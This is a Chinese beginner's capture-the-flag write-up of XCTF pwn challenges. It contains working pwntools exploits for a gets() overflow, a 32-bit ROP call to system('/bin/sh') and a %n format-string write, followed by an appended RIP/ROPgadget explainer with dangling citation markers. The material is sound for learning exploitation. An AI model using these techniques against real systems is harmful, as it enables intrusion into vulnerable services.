pwn(究极入门)

不能说是逆向转pwn吧,主要是想拓展一下,这两者之间的关系也挺大的

1.攻防世界-when_did_you_born

除去连上就有flag,这个应该就是最简单的题目了吧
惯例,checksec,这里有四种保护机制,有大佬的链接,这个要弄很清楚,尤其是PIE,以后慢慢来吧
https://www.jianshu.com/p/8a9ef7205632
在这里插入图片描述
没有PIE和FORTIFY(这边作者也不是太懂,很菜,多多包涵啦)
运行一下,要求输入一个birth,然后输入一个name
在这里插入图片描述
ida分析在这里插入图片描述
看到get函数我就放心了,妥妥的缓冲区溢出,查看v4果然下面就是v5
在这里插入图片描述
思路很简单,v4缓冲溢出,覆盖v5,然后继续运行就ok了
exp如下(因为这是第一次pwn,所以这边exp好好解释了一下)

from pwn import *							//pwntools小工具,百度就可以搜出来安装方式
p=remote("111.198.29.45",55887)	//远程连接服务器
p.recvuntil("What's Your Birth?")		//直到收到第一个字符串后
p.sendline("1944")							//进行回复,这里避开1926就行
p.recvuntil("What's Your Name?")	//直到收到第二个字符串后
payload='a'*(0x8)+p64(0x786)		//0x8是两个变量之间差的偏移量,后面跟0x786是1926,既把修改v5
p.sendline(payload)							//回复
p.interactive()									//允许互动

这里面p64、p32,我看网上说都是打包,我的个人理解就是数字变成相应的地址的数字,以为sendline都是发送的字符串,按照ascii码进行划分的,有时候一些01、02的码写不出来对应的chr码,所以需要用P64来转一下,下面附上大佬地址,大家可以了解一下
https://blog.youkuaiyun.com/qq_29343201/article/details/51337025

后面的hello和level0都和第一题一样这里就不再赘余,可以拿来练练exp

偏移量小差

偏移量主要看输入点和最终的溢出目标值的栈之间的距离(前提是缓冲区已经被填满了),现在我做题一般都是ESP,然后和输入点进行差值运算

level2

这道题是一道ROP的入门题,溢出retn值来进入到bin/sh中去,但这道题是造了一个伪栈帧,将独立出来的bin/sh作为参数放到了system里面去,不多说先分析
在这里插入图片描述
emmmmmmmm都开了,但是好像没有什么影响,我还是可以ROP
ida分析有个vulnerable函数(这不明摆着让攻击的嘛)
在这里插入图片描述
buf缓冲为0x88,然后ida动调一下,可以从堆栈区里看到到retn还需要再加4,所以应该输入0x8c,查找字符串
在这里插入图片描述
然后写exp就好了

from pwn import *
p=remote("111.198.29.45",42449)
p.recvuntil("Input:")
payload='a'*(0x88+0x4)+p32(0x08048320)+p32(0x11111111)+p32(0x0804A024)
p.sendline(payload)
p.interactive()

后面还有一个guess_num,基本原理也是一样的,其中用到了srabd,所以多了一个ctypes,这里需要找一个libc共享库,下面是大佬的链接,比较详细,这里就不在赘余
https://www.jianshu.com/p/0bc6c65addfd

CGfsb(格式化字符串的简单利用)

先附上大佬的网址,很清楚很详细
https://blog.youkuaiyun.com/qq_43394612/article/details/85196669
直接printf(%s),如果s里面有%x %n %s %p此类具有格式化意思字符,他就会打印出相应的内存地址,其中%n还可以将%n之前打印出来的字符个数,赋值给一个变量,这样我们就可以改变内存变量了,后面分析题
ida分析,我们的目的是通过下面条件,pwnme是一个.bss变量,位置不变
在这里插入图片描述
在这里插入图片描述
然后通过虚拟机运行程序,找到输入点的偏移量,算一算是10(从开始到从61出现那一块)
在这里插入图片描述
然后exp

from pwn import *
p=remote("111.198.29.45",55462)
p.recvuntil("please tell me your name:")
p.sendline("111")
p.recvuntil("leave your message please:")
payload=p32(0x0804A068)+"1111%10$n"				//这边的1111是用来提供那个pwnme=8的
p.sendline(payload)
p.interactive()

emmmmmmmmmm因为是刚刚开始学习pwn里面肯定会有很多理解错误,希望大佬们多多指正啦

### PWN 入门中的 RIP 概念及用法 #### 什么是 RIP 寄存器? RIP(Instruction Pointer)是 x86_64 架构下的指令指针寄存器,用于存储当前正在执行的指令地址。当 CPU 执行一条指令时,它会自动更新 RIP 的值到下一条待执行指令的内存地址[^1]。 #### RIP 在栈溢出攻击中的作用 在栈溢出漏洞利用中,攻击者通常通过覆盖函数返回地址来控制程序流程。由于 RIP 是决定程序下一步执行位置的关键寄存器,在发生缓冲区溢出的情况下,可以通过修改堆栈上的返回地址间接改变 RIP 的值,从而让程序跳转至攻击者指定的目标代码片段或恶意 shellcode 地址。 以下是实现该过程的一个基本原理描述: - 当函数调用结束时,`RET` 指令会被触发。 - `RET` 操作实际上是从栈顶弹出一个值并将其赋给 RIP 寄存器。 - 如果此时栈已被精心构造的数据所污染,则可以成功劫持程序流向任意位置运行自定义逻辑[^4]。 #### 利用工具寻找合适的 Gadget 链接点 为了构建有效的 ROP (Return-Oriented Programming) 攻击链路,常常需要用到特定功能的小型代码单元——Gadgets。这些小段汇编语句以常见的终止符如 `ret` 结束,并存在于二进制文件内部未被保护区域之中。借助 **ROPgadget** 工具可以帮助快速定位目标可执行文件内的潜在可用 gadgets: ```bash ROPgadget --binary your_binary_file --only "pop|ret" ``` 上述命令将会筛选展示所有包含有 'pop' 或者 'ret' 关键字的有效 gadget 组合列表[^2]。 #### 控制远程服务实例化方式 针对不同的题目场景需求,可能涉及到本地调试或者网络通信两种模式切换操作。Python 中 pwntools 库提供了便捷的方法创建相应连接对象: - 对于本机测试环境可以直接使用 `process()` 方法启动进程; - 而面对联网挑战则需采用 `remote(host,port)` 形式建立 TCP 客户端链接[^3]。 例如下面这段脚本展示了如何根据不同情况初始化交互接口: ```python from pwn import * context.log_level = 'debug' if args['REMOTE']: io = remote('challenge-server.com', 9999) else: io = process('./vuln_program') io.interactive() ``` 以上即是对 PWNING 技术领域内关于 RIP 基础理论及其实践应用方面较为全面介绍的内容总结。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值